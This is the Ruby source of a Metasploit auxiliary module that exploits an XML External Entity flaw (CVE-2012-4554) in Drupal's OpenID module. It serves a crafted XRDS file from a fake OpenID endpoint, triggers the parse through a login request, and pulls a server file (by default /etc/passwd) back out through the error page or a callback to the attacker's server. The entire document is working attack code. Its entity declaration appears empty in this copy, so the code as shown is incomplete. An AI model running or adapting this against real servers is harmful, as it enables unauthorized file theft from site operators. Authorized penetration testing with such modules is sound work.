## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include REXML def initialize(info = {}) super(update_info(info, 'Name' => 'Drupal OpenID External Entity Injection', 'Description' => %q{ This module abuses an XML External Entity Injection vulnerability on the OpenID module from Drupal. The vulnerability exists in the parsing of a malformed XRDS file coming from a malicious OpenID endpoint. This module has been tested successfully on Drupal 7.15 and 7.2 with the OpenID module enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Reginaldo Silva', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2012-4554' ], [ 'OSVDB', '86429' ], [ 'BID', '56103' ], [ 'URL', 'https://drupal.org/node/1815912' ], [ 'URL', 'http://drupalcode.org/project/drupal.git/commit/b912710' ], [ 'URL', 'http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution' ] ], 'DisclosureDate' => 'Oct 17 2012' )) register_options( [ OptString.new('TARGETURI', [ true, "Base Drupal directory path", '/drupal']), OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]) ]) end def xrds_file element_entity = <<-EOF EOF xml = Document.new xml.add(DocType.new('foo', "[ #{element_entity} ]")) xml.add_element( "xrds:XRDS", { 'xmlns:xrds' => "xri://$xrds", 'xmlns' => "xri://$xrd*($v*2.0)", 'xmlns:openid' => "http://openid.net/xmlns/1.0", }) xrd = xml.root.add_element("XRD") xrd.add_element( "Status", { "cid" => "verified" } ) provider = xrd.add_element("ProviderID") provider.text = "xri://@" canonical = xrd.add_element("CanonicalID") canonical.text = "http://example.com/user" service = xrd.add_element("Service") type_one = service.add_element("Type") type_one.text = "http://specs.openid.net/auth/2.0/signon" type_two = service.add_element("Type") type_two.text = "http://openid.net/srv/ax/1.0" uri = service.add_element("URI") uri.text = "METASPLOIT" local_id = service.add_element("LocalID") local_id.text = "http://example.com/xrds" return xml.to_s.gsub(/METASPLOIT/, "#{get_uri}/#{@prefix}/&xxe;/#{@suffix}") # To avoid html encoding end def check signature = Rex::Text.rand_text_alpha(5 + rand(5)) res = send_openid_auth(signature) unless res vprint_status("Connection timed out") return Exploit::CheckCode::Unknown end if drupal_with_openid?(res, signature) return Exploit::CheckCode::Detected end if generated_with_drupal?(res) return Exploit::CheckCode::Safe end return Exploit::CheckCode::Unknown end def run @prefix = Rex::Text.rand_text_alpha(4 + rand(4)) @suffix = Rex::Text.rand_text_alpha(4 + rand(4)) exploit end def primer res = send_openid_auth(get_uri) if res.nil? # nothing to do here... service.stop return end unless res.code == 500 print_warning("Unexpected answer, trying to parse anyway...") end error_loot = parse_loot(res.body) # Check if file was retrieved on the drupal answer # Better results, because there isn't URL encoding, # plus probably allows to retrieve longer files. print_status("Searching loot on the Drupal answer...") unless loot?(error_loot) # Check if file was leaked to the fake OpenID endpoint # Contents are probably URL encoded, plus probably long # files aren't full, but something is something :-) print_status("Searching loot on HTTP query...") loot?(@http_loot) end # stop the service so the auxiliary module ends service.stop end def on_request_uri(cli, request) if request.uri =~ /#{@prefix}/ vprint_status("Signature found, parsing file...") @http_loot = parse_loot(request.uri) return end print_status("Sending XRDS...") send_response_html(cli, xrds_file, { 'Content-Type' => 'application/xrds+xml' }) end def send_openid_auth(identifier) res = send_request_cgi({ 'uri' => normalize_uri(target_uri.to_s, "/"), 'method' => 'POST', 'vars_get' => { "q" => "node", "destination" => "node" }, 'vars_post' => { "openid_identifier" => identifier, "name" => "", "pass" => "", "form_id" => "user_login_block", "op" => "Log in" } }) return res end def store(data) path = store_loot("drupal.file", "text/plain", rhost, data, datastore['FILEPATH']) print_good("File found and saved to path: #{path}") end def parse_loot(data) return nil if data.blank? # Full file found if data =~ /#{@prefix}\/(.*)\/#{@suffix}/m return $1 end # Partial file found if data =~ /#{@prefix}\/(.*)/m return $1 end return nil end def loot?(data) return false if data.blank? store(data) return true end def drupal_with_openid?(http_response, signature) return false if http_response.blank? return false unless http_response.code == 200 return false unless http_response.body =~ /openid_identifier.*#{signature}/ return true end def generated_with_drupal?(http_response) return false if http_response.blank? return true if http_response.headers['X-Generator'] and http_response.headers['X-Generator'] =~ /Drupal/ return true if http_response.body and http_response.body.to_s =~ /meta.*Generator.*Drupal/ return false end end